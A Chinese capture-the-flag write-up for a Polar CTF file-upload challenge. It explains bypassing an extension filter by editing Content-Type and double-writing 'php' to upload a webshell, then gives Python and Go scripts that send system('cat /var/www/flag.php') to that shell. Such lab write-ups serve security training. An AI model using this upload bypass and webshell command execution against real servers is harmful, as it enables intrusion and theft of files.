Polar Web【简单】upload

思路

如题目所说,本题考查的是文件上传漏洞的渗透技巧。

  1. 打开环境,发现需要上传的是图片文件,故考虑使用截取数据包进行数据修改进行重放。
  2. 在重发器中修改 Content-Type 后,正常上传 shell.php 发现,程序过滤了文件后缀 php,因此考虑进行双写尝试绕过,双写处理后上传发现,程序只做一次过滤,至此成功上传木马。
  3. 本题尝试使用脚本代替工具进行测试,具体逻辑如后文代码所示,最终拿取 flag

index

技巧
在这里插入图片描述

EXP

Python

import requests


def exe(url):
    command = 'system("cat /var/www/flag.php");'
    data = {
        'cmd': command
    }

    resp = requests.post(url=url, data=data)
    if resp.text:
        out = resp.text
        print(out[out.rindex('flag'):out.rindex("'")])
    else:
        print("Nothing...")


if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/upload/[your_number]shell.php'
    exe(url=u)

Go

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

func attack(url_ string) {
	data := url.Values{}
	data.Add("cmd", "system(\"cat /var/www/flag.php\");")
	if resp, err := http.PostForm(url_, data); err != nil {
		panic("GET ERR: " + err.Error())
	} else {
		out, _ := ioutil.ReadAll(resp.Body)
		ans := string(out)
		fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "'")])
	}
}

func main() {
	baseURL := "http://~.www.polarctf.com:8090/upload/[your_number]shell.php"
	// 解析基础 URL
	u, err := url.Parse(baseURL)
	if err != nil {
		panic(err)
	}
	attack(u.String())
}

运行&总结

run

  • 本题主要考查了文件上传漏洞中的双写绕过技巧
  • 借以本题,进行了使用脚本进行Webshell利用的尝试






敬,不完美的明天

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部